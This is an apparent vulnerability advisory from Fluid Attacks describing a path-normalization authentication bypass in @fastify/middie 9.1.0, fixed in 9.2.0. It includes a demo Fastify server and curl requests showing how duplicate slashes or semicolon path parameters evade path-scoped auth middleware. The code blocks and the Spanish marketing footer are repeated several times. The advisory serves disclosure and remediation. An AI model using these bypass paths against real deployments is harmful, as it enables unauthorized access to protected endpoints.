Fastify middie 9.1.0 - Improper path normalization

8,2

High

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

Fastify middie 9.1.0 - Improper path normalization

Code name

State

Public

Release date

27 feb 2026

Affected product

@fastify/middie

Vendor

fastify

Affected version(s)

9.1.0

Fixed version(s)

9.2.0

Package manager

npm

Vulnerability name

Lack of data validation

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.2

Exploit available

No

CVE ID(s)

Description

A path normalization inconsistency in @fastify/middie can result in authentication/authorization bypass when using path-scoped middleware (for example, app.use('/secret', auth)).

When Fastify router normalization options are enabled (such as ignoreDuplicateSlashes, useSemicolonDelimiter, and related trailing-slash behavior), crafted request paths may bypass middleware checks while still being routed to protected handlers.

Vulnerability

In @fastify/middie, path-scoped middleware (app.use('/secret', ...)) is matched using a regex against a lightly sanitized URL (sanitizeUrl(req.url)), which mainly strips query/hash and does not fully normalize path variants the same way as the router. Fastify’s router (find-my-way) then performs additional normalization during route lookup (for example, collapsing duplicate slashes when ignoreDuplicateSlashes=true, and splitting on; when useSemicolonDelimiter=true). Because auth is enforced before routing and on a different path representation, crafted inputs can fail middleware matching but still match the protected route after router normalization. This is an improper sanitization/validation consistency flaw (normalization drift), not a missing API-key check itself

PoC

  • Use the following code for the PoC.

'use strict'

const Fastify = require('fastify')
const middie = require('@fastify/middie')

const PORT = Number(process.env.PORT || 46150)
const API_KEY = process.env.MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process.env.IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process.env.IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process.env.USE_SEMICOLON !== 'false'

async function build() {
    const app = Fastify({
        logger: true,
        routerOptions: {
            ignoreTrailingSlash: IGNORE_TRAILING,
            ignoreDuplicateSlashes: IGNORE_DUPLICATE,
            useSemicolonDelimiter: USE_SEMICOLON
        }
    })

    await app.register(middie)


    app.use('/secret', (req, res, next) => {
        if (req.headers['x-api-key'] !== API_KEY) {
            res.statusCode = 401
            res.setHeader('content-type', 'application/json; charset=utf-8')
            res.end(JSON.stringify({ error: 'Unauthorized', where: 'middie /secret guard' }))
            return
        }
        next()
    })

    app.get('/secret', async (request) => {
        return {
            ok: true,
            route: '/secret',
            originalUrl: request.raw.url,
            note: 'Reached protected handler'
        }
    })

    app.get('/public', async () => ({ ok: true, route: '/public' }))

    return app
}

async function start() {
    const app = await build()
    await app.listen({ host: '0.0.0.0', port: PORT })
}

start().catch((err) => {
    console.error(err)
    process.exit(1)
})
'use strict'

const Fastify = require('fastify')
const middie = require('@fastify/middie')

const PORT = Number(process.env.PORT || 46150)
const API_KEY = process.env.MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process.env.IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process.env.IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process.env.USE_SEMICOLON !== 'false'

async function build() {
    const app = Fastify({
        logger: true,
        routerOptions: {
            ignoreTrailingSlash: IGNORE_TRAILING,
            ignoreDuplicateSlashes: IGNORE_DUPLICATE,
            useSemicolonDelimiter: USE_SEMICOLON
        }
    })

    await app.register(middie)


    app.use('/secret', (req, res, next) => {
        if (req.headers['x-api-key'] !== API_KEY) {
            res.statusCode = 401
            res.setHeader('content-type', 'application/json; charset=utf-8')
            res.end(JSON.stringify({ error: 'Unauthorized', where: 'middie /secret guard' }))
            return
        }
        next()
    })

    app.get('/secret', async (request) => {
        return {
            ok: true,
            route: '/secret',
            originalUrl: request.raw.url,
            note: 'Reached protected handler'
        }
    })

    app.get('/public', async () => ({ ok: true, route: '/public' }))

    return app
}

async function start() {
    const app = await build()
    await app.listen({ host: '0.0.0.0', port: PORT })
}

start().catch((err) => {
    console.error(err)
    process.exit(1)
})
'use strict'

const Fastify = require('fastify')
const middie = require('@fastify/middie')

const PORT = Number(process.env.PORT || 46150)
const API_KEY = process.env.MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process.env.IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process.env.IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process.env.USE_SEMICOLON !== 'false'

async function build() {
    const app = Fastify({
        logger: true,
        routerOptions: {
            ignoreTrailingSlash: IGNORE_TRAILING,
            ignoreDuplicateSlashes: IGNORE_DUPLICATE,
            useSemicolonDelimiter: USE_SEMICOLON
        }
    })

    await app.register(middie)


    app.use('/secret', (req, res, next) => {
        if (req.headers['x-api-key'] !== API_KEY) {
            res.statusCode = 401
            res.setHeader('content-type', 'application/json; charset=utf-8')
            res.end(JSON.stringify({ error: 'Unauthorized', where: 'middie /secret guard' }))
            return
        }
        next()
    })

    app.get('/secret', async (request) => {
        return {
            ok: true,
            route: '/secret',
            originalUrl: request.raw.url,
            note: 'Reached protected handler'
        }
    })

    app.get('/public', async () => ({ ok: true, route: '/public' }))

    return app
}

async function start() {
    const app = await build()
    await app.listen({ host: '0.0.0.0', port: PORT })
}

start().catch((err) => {
    console.error(err)
    process.exit(1)
})
'use strict'

const Fastify = require('fastify')
const middie = require('@fastify/middie')

const PORT = Number(process.env.PORT || 46150)
const API_KEY = process.env.MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process.env.IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process.env.IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process.env.USE_SEMICOLON !== 'false'

async function build() {
    const app = Fastify({
        logger: true,
        routerOptions: {
            ignoreTrailingSlash: IGNORE_TRAILING,
            ignoreDuplicateSlashes: IGNORE_DUPLICATE,
            useSemicolonDelimiter: USE_SEMICOLON
        }
    })

    await app.register(middie)


    app.use('/secret', (req, res, next) => {
        if (req.headers['x-api-key'] !== API_KEY) {
            res.statusCode = 401
            res.setHeader('content-type', 'application/json; charset=utf-8')
            res.end(JSON.stringify({ error: 'Unauthorized', where: 'middie /secret guard' }))
            return
        }
        next()
    })

    app.get('/secret', async (request) => {
        return {
            ok: true,
            route: '/secret',
            originalUrl: request.raw.url,
            note: 'Reached protected handler'
        }
    })

    app.get('/public', async () => ({ ok: true, route: '/public' }))

    return app
}

async function start() {
    const app = await build()
    await app.listen({ host: '0.0.0.0', port: PORT })
}

start().catch((err) => {
    console.error(err)
    process.exit(1)
})
  • Baseline check (no API key, normal path) -> should be blocked:

    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150/secret
    Expected: 401 Unauthorized
    
    
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150/secret
    Expected: 401 Unauthorized
    
    
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150/secret
    Expected: 401 Unauthorized
    
    
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150/secret
    Expected: 401 Unauthorized
    
    
  • Bypass with duplicate slashes.

    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150//secret
    Expected: 200 OK and response from protected handler (route: "/secret")
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150//secret
    Expected: 200 OK and response from protected handler (route: "/secret")
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150//secret
    Expected: 200 OK and response from protected handler (route: "/secret")
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150//secret
    Expected: 200 OK and response from protected handler (route: "/secret")
  • Bypass with semicolon path params:

    curl -x http://127.0.0.1:8080 -k -i 'http://127.0.0.1:46150/secret;foo=bar
    Expected: 200 OK and response from protected handler
    
    
    curl -x http://127.0.0.1:8080 -k -i 'http://127.0.0.1:46150/secret;foo=bar
    Expected: 200 OK and response from protected handler
    
    
    curl -x http://127.0.0.1:8080 -k -i 'http://127.0.0.1:46150/secret;foo=bar
    Expected: 200 OK and response from protected handler
    
    
    curl -x http://127.0.0.1:8080 -k -i 'http://127.0.0.1:46150/secret;foo=bar
    Expected: 200 OK and response from protected handler
    
    

Evidence of Exploitation

  • PoC

  • Successful bypass

Security policy

This vulnerability was disclosed by another CNA, due to a scope conflict, with the ID CVE-2026-2880

System Information

  • @fastify/middie

  • Version: <9.2.0

  • Operating System: Any

References

Mitigation

An updated version of @fastify/middie is available at the vendor page.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.

¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.

¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.